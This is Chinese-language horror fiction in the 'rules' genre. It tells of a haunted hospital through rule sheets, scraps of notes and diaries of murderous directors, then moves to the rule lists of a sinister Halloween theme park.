    4、 如果发电仪器噪声无法停止或者功率下降至50%以下,则标识为已损坏。

    5、 对损坏仪器,符合回收条件的,对其进行回收利用处理,不符合条件的则直接废弃。废弃仪器属于医疗垃圾,处理方式见医疗垃圾处理方法

    医疗垃圾处理守则:

    1、 医疗垃圾必须严格分类,有害垃圾和无害垃圾分别由保安和医生部门处理。

    2、所有有害垃圾必须由安保部门统一送入太平间,特别注意运送期间不要发生外泄情况。

    3、所有无害垃圾由医生部门下班时统一运送到七楼,交由专人处理。

    4、大型无害垃圾务必进行分割处理,为了医院运行稳定,由专门的医生负责。

    5、医疗资源紧缺时,允许对无害垃圾进行循环利用,但对有害垃圾的处理必须严格按照章程执行。

    在一大堆黑色垃圾袋包装的无害垃圾里有一张沾满血迹的纸,上面用红色的笔歪歪扭扭地写下了这样的话:

    致所有能看到这些内容的同胞:

    如果你已经在这家医院治疗了一段时间,那你一定能发现这家医院的奇怪之处,我总是对医生给我注射的鲜红液体感到不安,如果有人和我有同样的感觉,请在这张纸上留下标记。

    这段话的底下,有合共12道竖杠,这些竖杠也都是用红色的笔写下,只有一道是黑色。

    纸张的角落有几个红色的指印。

    六楼办公室角落的废弃办公桌中有一张病历和一张医生守则,看起来有些年头了,与现在张贴的医生守则不同,这张守则里最后一条的取药处在一楼而不是六楼。

    病历单皱巴巴的,内容如下:

    张伟

    年龄 28

    2017年5月26日入院

    诊断为轻度精神失常,安置于四楼观察。

    2017年6月30日

    精神稳定已达一个月,考虑批准上行。

    2017年7月5日

    正式进行上行处理,保持监护。

    2017年7月7日

    突发精神恶化,紧急移入重症监护室处理,使用大量忘忧后趋于稳定。诊断为重度精神失常,移入一楼治疗。

    2017年7月8日

    废弃112病房,确认病患死亡,移入太平间。

    病例单的背后,用红色的字体歪歪扭扭的写着几行字:

    我真的要疯了,这家医院到底是怎么回事?

    那红色的液体和黏糊糊的胶囊,那东西也是药吗?

    该死,我的患者,那是什么?他怎么变成那样的?

    (越往下,字体颜色就越深)

    我讨厌这些药,这医院充满了令人作呕的味道。

    我是谁?我是医生?我是患者?

    这灯光让我感到不适,我该去取药了吗?

    不,我要回去,我必须要向下,向下!

    回去是向哪?我想是向下,不,也许是向上。我该回去吗? 回不去了,回不去了!!我不想回去!!!(此处已经被红色涂满,纸上遍布着破烂的划痕)

    (最后的文字是黑色的字体,扭曲得几乎看不出是什么)

    配电室和保安室的铸锁模具沾满了暗红色的血迹,没有任何锻炉或是铸造锤等工具。模具的凹槽处,还有一些黏糊手感的肉碎。

    以下是在旁边一本日志中发现的内容,多数内容都已经被焚毁,只能勉强辨认出一些:

    2018年2月9日

    ……的21天,11、12号换人了,昨天的停电……

    2018年2月16日

    锁的储备不太够了,那天的停电消耗了太多,为了阻止它们去……

    2018年2月20日

    有位医生过来铸锁了,他看起来不太好,这样应该**********锁。

    2018年2月28日

    上次打出来的两把锁也用完了,该死,材料实在太差了。最近太平间使用太频繁了,这样下去太平间的锁要不够用了

    2018年3月27日

    31号也换人了,马上就该轮到我了吧。我早就……

    (日志的每一页纸都是打印出来的,只有最后这行字是手写上去的,字迹很工整)

    我们无法回头,我们只能向下。

    一间病房的床板上刻着几行小字:

    不要相信,不要相信

    我是你,你是我。

    我是它,你也是它。

    他们的上是我们的下,他们的下是我们的上。

    我们不是红,我们是黑。

    我们自上方来,到下方去。

    我们只是

    归来。

    (最后的字迹潦草至极)

    手术室/重症监护室守则:

    1、手术前请务必检查制度穿戴完好,手术期间不得与患者直接接触。

    2、手术期间,务必保持手术室大门关闭,手术结束前不允许进出手术室。

    3、 请务必保证无影灯的灯光照射,保持患者意识在非清醒状态下进行手术,所有材料务必在手术前准备就绪。手术过程中,如遇患者意识突然清醒,请不要惊慌,立刻终止手术,不要刺激患者。

    4、手术期间电力负载极高,如遇停电情况,请立刻远离手术台,并按医生守则中的停电处理方法处理。

    5、手术期间产生的所有有害垃圾务必按照章程严格处理。

    6、替换患者器官过程中,如果发现患者血液由红变黑,则立刻终止手术,所有人离开手术室关闭大门,必要时,允许使用锁,等待保安处理。

    7、所有替换都成功完成时,患者才允许转入正常病区,留待观察。

    无害垃圾的垃圾袋上偶尔会见到红色的血迹,而有害垃圾的垃圾袋上则几乎见不到什么东西。

    据说曾经有保安在上面看见过黑色的液体,那位保安后来不知去向。

    六楼的墙体已经翻新多次,可以看到墙上有坑坑洼洼的痕迹,而一楼墙体却是崭新的,就好像刚建成没多久一样,这种现象从一到六楼逐渐变得严重。

    一张在六楼某处发现的旧照片,上面是一栋建筑楼,因为是老照片,还能模糊地看到“仁和”两个字。

    背部有一行小字:

    1995.10.05

    在房间角落里发现的旧手机,看起来是非常老旧的机型,里面会不会有什么呢?

    2017年七月七日的报纸有这样一则新闻:

    起死回生?还是思念成疾?

    据报道,本日仁和医院中,原本确认死亡两个月的张先生奇迹般的起死回生,其家属坚称他们见到了张先生本人甚至与其进行了交流,但医院方面对其进行了否认……

    这则新闻占的版面很小,并不是很起眼的新闻。

    2017年12月5日的新闻报道:

    欺世盗名!仁和医院罪恶的人体器官交易!

    …………目前仁和医院已被封禁。

    值得一提的是,这家报刊也在不久后倒闭。

    在已经修复的手机中发现了一些资料,原主人似乎有用手机记录的习惯。

    2008年9月7日 晴

    我受够了这种穷困潦倒的日子了,主编说如果再找不到劲爆的独家新闻就要开除我,可是我去哪里找这些东西?我要疯了,这个月的水电费都快交不起了,难道我要去睡大街?该死,这该死的生活。

    2008年9月15日 阴

    cao!我想我的机会来了!我今天在仁和医院看到了什么?他们在把封装好的人体器官往太平间送!我的记者本能告诉我有个大新闻在等着我,我要发财了!

    2008年9月16日 晴

    我昨天打电话告诉小琪这个好消息,她居然完全不相信,还对我冷嘲热讽!这个该死的女人!我想钱想疯了?等着看吧,等我发财了,我就甩了这个蠢女人!

    2008年10月3日 多云

    近年仁和医院收容的绝症患者很多,在患者中口碑很好,而且一旦在手术中不治,给出的赔偿很高昂。但是实际上,他们的患者死亡率很高!这里面绝对有问题,我会证明的!

    2008年11月5日 暴雨

    今天就是我实施计划的日子了,我一定会挖出一个惊天大新闻的。等着吧,所有瞧不起我的人,都给我等着!

    在手机的相册中,发现了几张照片, 拍摄的是密封在容器中的人体器官。

    接上文手机日志

    2000年1月1日

    我在哪?我怎么会变成医院的病人?我被他们抓起来了?我明明记得我在太平间。还好,我收集的证据还在,等我出去,这个新闻一定会震惊全国!那些瞧不起我的人,你们等着吧!

    2000年1月2日

    奇怪了,怎么连不上网?时间也没法校准了,现在是几号了?应该没过去几天吧?我总觉得我好像忘记了什么,我是怎么进来的?

    2000年1月4日

    奇怪,我真的忘记了什么?我记得我昨天好像做了个手术,头好痛,不过医生给我打了药,好受很多了。

    2000年1月7日

    该死,证据,新闻?我怎么什么都不记得了?我是个记者? 为什么我会在医院里,因为我患上了失忆症吗?

    2000年1月10日

    该死,我果然忘记了什么。我得把我能记住的都记下来,手机绝对不能被其他人发现,我不相信这里的所有人。

    2000年1月14日

    这灯光好刺眼,我跟医生说了之后他把我转到了一楼,这里的灯光舒服多了,我也喜欢在高一点的楼层。我好像有些想起来什么了。

    2000年1月19日

    今天在医院乱逛的时候走到了太平间,为什么太平间会在楼顶?想不通。我感觉太平间好像是个对我来说很特别的地方,但是不允许无关人员靠近。而且太平间还上了锁,好奇怪。

    2000年1月24日

    今天在走廊里见到一个奇怪的中年男人,他看起来像是领导一样的人,看见我之后一脸惊恐地逃开了。奇怪,我怎么觉得他有点面熟?

    2000年1月26日

    不是我的错觉,我应该认识那个男人,下次见到我一定要问问他,我已经忘记了很多东西,说不定他就知道我什么!一楼的灯也越来越刺眼了,这几天药我几乎是当成饭来吃!

    2000年1月27日

    奇怪,只要一想到那个男人我就莫名其妙有点生气,我感觉我已经快想起来什么了!难道我和他以前有矛盾?

    2000年1月29日

    熄灯了。我想起来了,我想起来了!哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨恨!!!!!我恨啊!!!!!!

    阅读到这里的时候手机一阵火花迸溅,冒出了淡淡的青烟,报废了。仿佛恨意隔着屏幕,满溢了出来。

    在某位医生的座位贴着一张纸条

    为了理想与人类献出全部

    每天起床时,病人偶尔会发现窗户上有黑色的抓痕和手印。这种情况多发生在有噪音的夜晚。

    护士台发现的一张损毁一半的《死者探望协议》:

    1、协议双方对协议内容绝对保密,不得外泄。

    2、协议签署人对自己看到的内容绝对保密,不得向任何人提起。

    3、协议签署人不得向任何人透露协议存在

    4、协议签署人在履行协议内容期间,绝对服从医院的安排,不得有任何超出协议内容的行为,否则协议终止。

    5、为了您家人在医院的幸福安康,协议签署人应明确协议所要付出的代价,并在探望结束之后自觉成为……

    后半部分被人撕去。

    院长办公室里发现的两本日记,这是第一本的内容:

    2002年5月7日

    今天是我入职医院的第一天,没想到刚工作就能入职仁和这样的大医院,我对我的未来充满了期待!你一定可以的,封诚!

    2002年5月19日

    工作已经快半个月了,自我感觉良好!看到患者的笑容感觉自己都好起来了!虽然只是助理医师,但拯救别人的感觉真好!

    2002年6月2日

    今天突发状况,半夜送进来一个大出血的病人,医院的人手实在不够,只能让我进去顶上。情况实在是太紧急了,这还是我头一次真切地看到手术的全过程。主刀医师的神情很沉重,看得我大气都不敢喘一下。半途支援的医生赶到了,我也能从手术室解放出来了。实在是太紧张了,看到患者身上的血迹,我感觉我的手都在抖……听说病人还没有脱离危险,希望他能好起来……

    2002年6月3日

    听说昨天送进来的患者已经脱离危险了,太好了。虽然很累,但是我感到很快乐。这就是医生,我一定会成为一名伟大的医生的。

    2002年9月24日

    该死,我今天给患者开错了一味药!该死该死该死!我怎么会犯这种错误!我该怎么办?他不会有事吧……我一定会受到处罚吧……唉,好害怕,为什么我不再仔细一些呢?

    2002年9月26日

    今天急诊送进来一个人,就是我上次那位患者,果然出事了……我实在受不了了,今天院长派人过来询问我,我直接向院方坦白了……唉,我该怎么办……

    2002年9月27日

    听说那位患者没出什么大事,已经安置好了,我想去向患者道歉,但是又不太敢去……

    2002年9月28日

    院方给出的理由是药物过敏,对方似乎也不想追究,这大概是最好的结局了?今天院长来找我了,他拍了拍我的肩膀,安慰了我几句,院里似乎也不准备处理我……他说很看好我,希望我以后不要再犯这样的错误,唉,老实说我很感动,但也有点愧疚。要不要告诉那位患者真相呢?

    2004年4月5日

    今天被调到了急诊科,我不知道院长为什么这么信任我,自从那次之后,我的确再也没有犯过错了。我升职有点出乎意料的快,很怕辜负了院长和院方的信任。同时又有点窃喜,仁和是大医院,我的人生似乎一片光明。

    2004年9月2日

    院长居然让我主刀?开什么玩笑,虽然只是个小手术,但怎么也轮不到我来主刀啊?!虽然我很感谢院长的栽培,可是这也未免太……

    2004年9月6日

    该死!我就知道会出事!我不小心划歪了一刀,切到了动脉!动手术的时候我手都在抖!还好旁边有经验丰富的老医生看着,手术还是顺利完成了。

    2004年9月7日

    院长来安慰我了,他很欣慰,说我是他选中的接班人,很看好我的未来,希望我不要

    2005年12月5日

    我好像成为了医院里的风云人物。仅仅工作三年就爬到如此之高的职位。尽管如此,他们并不知道我所承受的压力。最近精神状态越来越差了,院长总是会给我很重的活,虽说他也给了相应的回报,唉……手术的时候我的手甚至都在抖,这样下去会出事的吧……总觉得我并不配的上这样的位置,但是也不想拒绝……

    2005年12月9日

    该出事的还是出事了。

    昨天的手术,我手抖了。当时就觉得精神恍惚,但只想着强撑着完成这次手术……该死!我把手术刀直接下到了患者要害上!现在他还在病危,只能祈祷他没事了……

    2005年12月10日

    他死了。

    我杀人了。

    2005年12月12日

    我不知道这两天我是怎么过来的,只觉得好像整个世界都昏暗了。我的前途,我的未来,都被我这一刀葬送了。有人因为我而死了,我还怎么做医生?我的刀,只能救人,不能杀人啊!

    2005年12月14日

    我没有被追究。

    院长说,医院把这事给压下来了,但他对我很失望,因为这次医疗事故给医院造成的损失重大,让我等待医院的处理。

    2005年12月25日

    处理下来了。

    我浑浑噩噩的过了这十几天,每一天都像是在地狱煎熬。院长说有一个重大的任务交给我,如果我能完成,那么还可以继续在医院任职,否则只能被开除。

    我答应了。

    2005年12月26日

    我怎么也想不到所谓的任务居然是这个,秘密取出患者遗体的器官? 这是要做什么?器官交易?这是对患者遗体的不尊重!我tmd!我怎么能做这种事!我明天就去找院长问个清楚!

    2005年12月27日

    我难以形容我当时的心情,只记得我愤怒地冲进了院长的办公室,他似乎早有准备,副院长不紧不慢地关上了门。我狠狠地拍在桌子上,向他质问,他到底是什么意思。可是他却告诉我医院早就在进行这样的勾当!我从没想过,院长是这样的人!他告诉我,我可以选择拒绝,但是我会被医院开除,并且以他的能量,完全可以给我在仁和的经历抹上重重的一笔。不会有任何医院要我,我的人生从此完蛋。如果我接受他的条件,我还可以风光地做我的院长接班人,并且他会给我一些分成。开什么玩笑,tmd!tmd!!!

    2006年1月1日

    我屈服了。

    我不想让我的未来和死人一起埋葬,反正他们也死了,就当让他们发挥点余热吧,我只能这样安慰自己。

    该死,什么理想,什么操守,在现实面前一文不值。

    新年的第一天就,大家都喜气洋洋的,只有我像是身处地狱。

    就当以前的我已经死了吧。

    2007年1月1日

    新的一年。

    距离那件事已经过去一年了,我好像也已经习惯了这样令人作呕的日子。手里的手术刀好冷,做手术的时候手也不会抖了。或许这还能算件好事?

    嘁,我真是个畜生。

    2007年2月5日

    我今天从那个该死的老头嘴里听到了什么?他要我,把一场手术伪装成医疗事故?要我杀人?他疯了?我怎么可能做这种事?

    2007年2月9日

    我当然没有照做,那个患者安全地走出了手术室。让我杀人,我做不到,我看到院长的脸色很阴沉,他告诉我,我会后悔的。

    2007年2月25日

    我永远不想再回忆起这些天的经历了, 一丝一毫,就让它永远在我记忆深处。

    从前的我大概确实死了。

    2007年5月2日

    我杀死了那个患者。

    我已经很久没有手抖了,但这次我手却抖的止不住。手术之前医院就告诉家属风险很大,所以就算死了也没掀起什么风浪。

    还有多少人本来能活却死在了这里?我不敢想象。

    他蒙着白布的遗体被送进了太平间,我却觉得好像有一道目光从那里射过来。

    死人也知道恨吗?

    2007年5月3日

    该死,我只要一闭眼就是那个死者的脸!我怎么可能睡得着?我错了?可是我有什么办法?我没有选择!

    2008年11月4日

    最近雨好大啊,A市好像很少看见这样的大雨,上下班都不太方便了。 太平间的尸体也潮了起来,摸起来有点恶心。

    2008年11月5日

    该死!该死该死该死!我tmd!我发誓,我不是故意的!那个记者!他怎么混进来的?!

    我一打开里间,就看见他拿着什么东西在拍,我的大脑当时一片空白。

    等我回过神来,手里的刀已经捅进了他的心脏了,我是医生,精准的一击毙命。

    我要怎么办?我杀人了?我要自首吗?可是……

    2008年11月6日

    该死!尸体不见了!怎么会有这种事?我明明是藏在里间里的,除了我不会有任何人去那里!难道尸体被人发现了?那我该怎么办?我就这么完了吗?

    2008年11月7日

    那个老不死的,他居然让我自己解决?难道他以为我出事他能好的了吗?自首?我怎么可能自首?我已经做了这么多事,就为了能活的好!

    2008年11月11日

    tmd!这么多天了!我每天都在提心吊胆!可是什么事都没有发生!难道是我的错觉?但尸体确实是不见了!怎么会这样,尸体到底去哪了?

    2008年11月13日

    该死,这个老不死的要弄死我!我今天路过他办公室听到他的谈话了!现在觉得我危险了,就想一脚踢开?他做梦!

    2008年11月14日

    我到底还能怎么办?难道真就这么结束了?我做了这么多错事?违背了我的准则,背弃了我的梦想,到最后就换来这个结局?我从一开始就错了吗?

    2008年11月14日

    我没错!我没错!!! tmd!!我有什么错!!!我只是想活着,像个人,不是像一条狗一样活着!!我没有办法!我没错!! 既然你们都不想让我像个人一样活,好!那你们就都去死吧!你们都该死!就先从那个老东西开始!! 他知道我所有的秘密,他一定要死!

    2008年12月5日

    “老院长不幸被撞重伤,抢救无效后不治身亡。”

    真是个好消息,是吧?

    钱确实是个好东西,反正他们需要的只是一个中间人,而我明显比这老不死的更狠更好操控,那为什么不选我呢?

    好狗,也比死人好。

    2008年12月7日

    他大概想不到吧,自己这么快就躺在了这里。

    这冰冷黑暗的太平间,真是再适合他不过的结局了不是吗?

    再见了,院长。

    2008年12月24日

    现在我是院长了。

    那个死掉的记者,我查到他了,无父无母,有过一个女朋友,已经分手,来医院的那天房租已经到期四天,被房东赶了出来。也就是说,没有任何一个人知道他消失了。

    或许老天都看不下去了,从今天起,再没什么能威胁我了。

    2010年4月10日

    最近总是有尸体在太平间里莫名其妙的失踪,真是奇怪。 这已经引起别人的注意了,或许我该封锁太平间,或是再另建一个?

    2010年5月4日

    我总觉得有些不安,最近胸口有些闷得慌,尤其是看到医院太平间的入口。太平间里也太黑了,黑的过头了,过两天让人多加两盏灯吧。

    2010年6月16日

    我今天在医院里看到了那个老不死的! 这怎么可能?!他不是已经死了吗?希望是我的错觉。

    2010年6月20日

    这到底是怎么回事?医院不见了!!我就去太平间里看了一圈,出来居然找不到上楼的楼梯口了?!

    不止是我,所有医生都被困在这里了,怎么回事? 只有一个-1层的医院,我见鬼了?

    2010年6月21日

    出口出现了,我回来了,该死,难道真的见鬼了?

    2010年6月22日

    又来了!又是这样,我今天又被困在了只有一层的医院里,这到底是怎么回事?!

    2010年6月23日

    我知道了,每天的19点,离开的出口就会出现。该死,我明天不会再来医院了,这太诡异了。

    2010年6月24日

    我又回来了!我又回到了那个该死的地方,我明明在家里!

    2010年6月28日

    我离不开这个地方!无论去哪里,第二天总会回到这个医院里!而且医院里会有奇怪的人影,有什么东西,它想从太平间里出来!

    2010年6月30日

    有个医生提议也许我们可以从太平间里回去,可我不那么想。

    2010年7月1日

    今天没有再见到他。

    他没有再从太平间里出来。

    太平间的门关上了,它好像被喂饱了?

    2013年5月29日

    太平间离出口越来越近了,这可不是什么好事。难道它想到人世来?这可不行,如果它来了,估计第一个得找上我。也许我可以尝试把这底下的医院加一层?

    2013年8月7日

    成功了,我的设想果然是可行的,它看起来迷失了方向。

    2013年10月5日

    这些从太平间里出来的玩意,好像对上下的概念是反过来的,因为它们从地狱来吗?

    2014年1月17日

    它们的数量有些太多了,三年了,最开始的那批医生都死的差不多了。普通的医生并不会被强制来到这里,它们的目的是什么,复仇吗?该死,这样下去迟早会轮到我的,我得想些别的办法。

    2014年3月25日

    果然,只要是活人,就能阻止它们前进,只不过效果没有这些医生好。

    2014年8月10日

    我最近想到一个好点子, 就叫《死者探望协议》,怎么样?正好底下那帮从太平间里跑出来的东西有些太多了,我需要人来填一填。

    2015年6月17日

    或许在死人的世界里 ,能做到一些不属于活人的事,整天和这些东西待在一起,太危险了,我得限制一下它们。

    2016年9月15日

    医院扩张成两层了,用了不少材料,嗯。供电系统也建成了,这帮医生还挺听话,也是,不想活命的都死了。

    2017年4月20日

    我突然有个想法,如果用活人的器官给死人做手术会怎么样?

    2017年5月15日

    今天在仁和医院里看不到太平间了,是因为我又修了两层吗?医院的-1层不见了,它被隔绝到了不存在这个世界的地方?

    2017年7月1日

    我觉得我的方法可行,这个叫张伟的实验品看起来跟正常人没有任何区别。也许我可以考虑让他从1楼离开了,哦不,现在应该是3楼了。

    2017年7月7日

    该死!我太莽撞了!谁知道他来到这边世界会变成这样!死了十几个人,这事根本不可能压得住了。我知道了,它的目的根本就不是复仇!那个东西,根本不只是在医院里死去的人!它远比那些东西要可怕的多!

    2017年7月8日

    如果把死人送回去会怎么样?病人越来越多了,这样下去,它迟早会找到出口。这个叫张伟的病人还受灯光的限制,今天就找个人把他送进太平间去。

    2017年7月9日

    成功了!他没有再回来!这些人确实可以被送回去!根据我之前的实验,替换器官也能有效降低他们的危险性。或许是……在这边的世界里,活人的部分能限制死人的部分?不管怎么样,不能让它到那边去,否则第一个完蛋的就是我!

    2017年7月11日

    最近医院里的病人越来越奇怪而又疯狂了,自从那个张伟穿过了那扇门,所有病人都好像知道了3楼的所在,有意识地在医院里寻找,难道他们是一体的?

    不行,我得想个办法把这些人都送回太平间去。

    2017年7月13日

    该死!我没法把所有人都送回去!太平间像是暴动了一样,那些黑色的东西是什么?那就是“它” 吗?太平间是有承受极限的……md,今天死了十几个人才把太平间平复下去,人手已经不够了。这些患者看着我的眼神有些可怕,他们知道是我,是我杀了他们,md!!

    2017年7月17日

    不行,事态越来越糟糕了,夜里医院没有人,我得想办法把他们关在病房里。给病房上个锁?但是普通的锁能拦住他们吗?等等,我有个构想……

    2017年7月19日

    活人的部分能限制死人的部分,我又一次验证了这个猜想。现在医院里安全了,我还得想一想外界的事情。

    2017年7月23日

    艹!!停电!!我怎么没考虑到这种事?! 医院里的病人都像疯了一样,该死,这是我最后一篇日记了吗?

    2017年7月24日

    我活下来了,我活下来了!!!这些玩意居然会被灯光吸引?或许是他们觉得有光的地方就是出口?如果活人为能量发出的光能限制他们,那么死人做能源发出的光是不是可以吸引他们?那些黑色的东西,我或许可以利用一下。

    呵呵,我突然觉得其实我可能也不能算人了,谁知道呢?

    2017年8月15日

    今天有个医生发疯了,他被杀死的时候流出了黑色的血。它开始侵蚀活人了?不管怎么样,它在变得越来越恐怖。

    2017年9月1日

    我就知道上次那件事会引起有心人的注意,已经有人在调查我了。

    2017年9月16日

    合适的人选实在不多,这帮人就叫做保安吧,本来也就是保护我的安全用的。呵呵,看他们视死如归的样子,真好啊。

    2017年10月4日

    我今天在医院里看到了什么!我看到谁?!那个记者!!我从没想过我有那么害怕他!虽然我只看了一眼就逃开了,但我无比确定就是他!!

    2017年10月9日

    今天仁和医院被警方封锁了,我也被他们控制了起来,可是有用吗?只要时间一到我还是会回到这里,他们应该无法理解吧。警方说他们已经掌握了证据,等着我的是法律的惩罚。

    呵呵,和我一同被拉入这里的人已经全部死完了,只剩我一个了,现在现实世界也没有我的容身之处了。前几天看到的那个记者,他是预示着我终究要偿还我的罪恶吗?

    我一步一步走到今天,我做错了什么?都是你们在逼我,活的人要逼我,死的人也要逼我。好,既然都不给我活路,那么就一起毁灭吧。

    封诚,绝笔。

    这是第二本日记的内容

    致我所有的后来者:

    我的名字已没有意义,你可以称我为32号。如你所见,我和你一样,曾是医院的院长。

    我原本以为我会和我的同事们一样,悲壮地走向结局,但机缘巧合,医院需要一个领导者,我留了下来。

    在我继任院长的这三年中,它正在变得越来越可怕。我们无从推测它从何而来,只知道它依托于死者,却又绝不仅仅是死者。这三年里,医院已经扩展到了七层,而它却接近得越来越快,同时病人们也变得越来越疯狂。我不知道我们还能撑多久,好在这所医院似乎是一个过渡地带,至少现在,它在这里迷失了方向。

    我不知道你是否曾是和我相同的角色,作为保安,我的职责是在迫不得已时,以自己做诱饵,带领它们回到太平间内。但在这三年里,我发现即使被送回太平间的人,也还是会回来。1号,3号,7号,14号,15号……我见到了太多熟悉的面孔。无论生前他们多么有觉悟多么伟大,死后却仍旧不可避免的变成这人不人鬼不鬼的样子。甚至我在这医院中和正常的他们相见的机会都没有,一旦他们察觉到自己已经并非人类的事实,它就会觉醒。每一个死者,都不过是它的化身,它的一部分。为了送回它,我们不得不一直牺牲,而为此死去的人,又使它更强大。这似乎成为了一个死循环,就像它所说的,谁都无法阻止它归来。

    但这已经和我没关系了,我只能尽我力所能及的一份力量,想办法是那帮医生的事。这三年来,我每天都生活在煎熬之中,就在不久前,我见到了从太平间归来的31号。他曾经是我最好的朋友,可是他已经牺牲的当下,我却独自苟活了三年,我想,由我亲手送他回去,应该是我最好的归宿了。

    人类的伟大并非我所能细数,在这深沉的绝望中,前路也不会断绝,我如此相信着。

    请全体保安谨记:

    我们无法回头,我们必须向下。

    欢迎各位游客来到万圣节主题公园,本公园以工作人员扮演古今中外有名的怪物与游客互动为卖点,为广大游客提供趣味与惊悚并存的体验。本公园制定两类游客守则,分别为“昼间游览守则”和“夜间狂欢守则”。为了您和您的家人朋友以及本园区员工的人身安全,请遵守所有守则,尤其是“夜间狂欢守则”,否则后果自负。

    祝游玩愉快!

    《昼间游览守则》

    1.为加强城市主题公园管理,充分发挥主题公园的作用, 满足人民物质和文化生活提高的需要,制定本规定。

    2.本公园24小时开放,昼间游览时间为6:00—18:00,请牢记这个时间段。

    3.园区内所有鬼怪均为工作人员扮演,可以去找自己感兴趣的角色免费合影、握手、拥抱,但请不要对他们作出攻击行为,否则后果自负。

    4.园区内所有场所均对外开放,包括且不限于德古拉城堡、狼人巢穴、弗兰肯斯坦实验室、塞壬海角、幽灵船、地狱大门等,如果在以上场所内遇到了正在角色扮演的员工,可以与他们友好地互动。

    5.广播站会在17:00时提醒游客“昼间游览”即将结束,请游客们有序离场,如执意参加“夜间狂欢”,请确认自己是身体健康、体格健壮、无精神病史或重大疾病后遗症的男性成年人。老弱病残未成年人及女性原则上不得参加,这并非性别歧视,实属为游客人身安全考虑。

    6.如执意参加“夜间狂欢”,一切后果自负。

    7.园区商店会在17:30时完成换货,请参与狂欢的所有游客进入商店挑选货物,商店内一切商品免费且货量充足。不参与狂欢的游客,请确保自己此时已经离开公园。

    《夜间狂欢守则》

    请确保自己在18:00之前完整读完本守则。

    1.“夜间狂欢”时间为18:00—次日6:00,请务必牢记这个时间段。

    2.在“夜间狂欢”进行时,本园区大门暂时封闭,不允许任何人员以任何理由出入。

    3.请在次日5:30时于公园大门集合,本公园的大门仅有一个,请确保它位于矮人工坊正南方二百米处。游客手册尾页附有园区地图,可以信任且不用撕下,但不要相信路边告示栏上的地图。

    4.如在狂欢中与家人朋友走散,请不要独自寻找,你可以在5:30的大门集合处找到他/她。如果没有找到,请告知集合处负责维持秩序的员工,此员工身穿绿色工作制服且没有进行任何角色扮演,请牢记这一点。

    5.园区商店将在17:30完成换货,请在18:00前挑选完毕,当然在“夜间狂欢”中的任何时间都可以进入商店挑选货物,这么规定只是为了游客能尽早做好较为完全的准备。

    6.园区商店提供的主要货物包括且不限于:棒球棍、武士刀、匕首、唐刀、钉头锤、方天画戟、弓弩、投石机、狼牙棒、三棱军刺、锁子甲、防爆盾牌、防爆叉、防暴头盔、防弹衣、电击棍、手枪、栓动步枪、突击步枪、冲锋枪、机关枪、霰弹枪、钢珠手雷、白磷弹、遥控炸弹等。

    7.所有在售货物均为徒有其型的仿制品,当你对夜间角色扮演的员工使用它们时,员工会配合你进行表演。请牢记这一点,无论它的效果有多么逼真,杀伤力有多么显著,它们只是仿制品。

    8.如果你对货物的真实性产生了严重怀疑,请参考上一条。

    9.请绝对不要对正常装扮的游客使用这些货物,虽然它们只是仿制品。

    10.不建议没有使用经验的新手选择热货物,除非你认为冷货物对某些员工行不通。

    11.非常不建议选购并在园区道路上埋置地雷等类似货物,除非你认为需要布置陷阱并得到商店售货员同意。

    12.极度不建议在游客聚集地使用沙林毒气、白磷弹等生化货物或大范围杀伤性货物,除非售货员认为事态严重且鼓励你使用。

    13.除商店售货员外,园区内其他员工可以任意攻击,当然对方也会攻击你。不过不要害怕,这只是一场狂欢,我们的员工会使用某种麻醉气体让你陷入昏迷,这个时候你会被判定为“死亡”,之后员工会将你带入安全区,请放心。

    14.除商店和公园大门外的所有场所均可以进行破坏,我们甚至会鼓励这种行为,例如用迫击炮轰炸德古拉城堡,或者往弗兰肯斯坦实验室里投入催泪瓦斯。

    15.如路遇员工,请不要犹豫,立刻拿起携带的货物进行攻击,先下手总会取得优势。

    16.必须攻击员工,不要再想着凑上去要合影,那种服务只在“昼间游览”时提供。

    17.如违反15、16条,后果自负。

    18.如果你不想进行攻击,或自认为不是员工的对手,请立刻逃往游客聚集处并大声求救。

    19.可以利用员工之间的矛盾,比如扮演吸血鬼的员工和扮演狼人的员工相遇时,会不顾游客优先攻击对方。此时你可以在旁边吃着爆米花为你喜欢的一方加油助威,甚至可以提供武器,但当双方快分出胜负时,请尽快离开或者做好攻击准备。

    20.路边会有许多人类或怪物的残骸,这些只是为了烘托气氛而布置的道具,请不要把它们当真。

    21.如果你看到了自己亲友的残骸,也不要当真,因为我们会随机抽出一部分游客作为道具的原型。

    22.请不要在“夜间狂欢”进行过程中离开公园,大门不会开启,更不要使用手雷等货物轰炸大门,我们的工作人员有权制止这种暴行。

    23.“夜间狂欢”会在次日6:00结束,但请提前半个小时前往公园大门集合,并等待大门开启,当然会有角色扮演的员工进行阻挠,请合力解决掉。

    24.不要攻击大门处绿色工作服的员工。

    25.离开时请将所有货物交给绿色工作服员工,绝对不要私藏货物,虽然它们只是仿制品,但想留个纪念也是不被允许的。

    26.我们会在后一页的“怪物简介”中介绍每一位员工所扮演怪物的体貌特征及弱点,请对照简介想出对策,但不要在对方发现你时还傻乎乎地看着简介。

    祝各位有一个有趣且刺激的狂欢时光。

    《夜间狂欢售货员守则》

    1.请保证自己时刻处于受防弹玻璃保护的收银台内,以免被好奇的游客用流弹误伤。

    2.用对讲机与游客联系,劝导他们使用合适的货物,生化货物及大范围杀伤性货物的货架同样用防弹玻璃保护,如判断需要使用这些货物,请按下左手边的红色按钮打开货架。

    3.商店所使用的建筑材料非常坚固,一般不会遭到破坏,但如果事态过于严重,商店有倒塌的可能,请按下右手边的绿色按钮开启地下通道逃离。

    4.地下通道入口在座椅正下方,确保自己按下按钮时没有站在上面。

    5.若少量角色扮演员工或哥布林、兽人等低级角色扮演员工闯入商店,请使用对讲机呼叫尚在商店内的游客将其通通击毙。若此时没有游客,请按下中间的蓝色按钮,此时天花板上的机枪群会自动进行红外线扫描并无差别扫射。

    6.若机枪群无法解决,请立即按绿色按钮逃离,并按下地道口墙壁上的黑色按钮。

    7.地道通向公园大门处的保安亭,在抵达前请确保那里没有被角色扮演的员工占领。

    8.你的工作只是负责给游客发放货物以及按按钮,其他什么也不要管。

    《夜间狂欢保安守则》

    1.保安应身穿灰色制服,值班人员不少于十人。

    2.保安亭内常备热货物,至少人手一把,如看到有角色扮演员工接近,请集中火力将其解决。

    3.如游客接近,在确认其身份后询问是否需要帮助,原则上可以给予一定的庇护或补给,但绝对不能打开大门放其离开。若游客执意离开且劝说无果、或做出轰炸大门等危险举动,请使用麻醉枪。

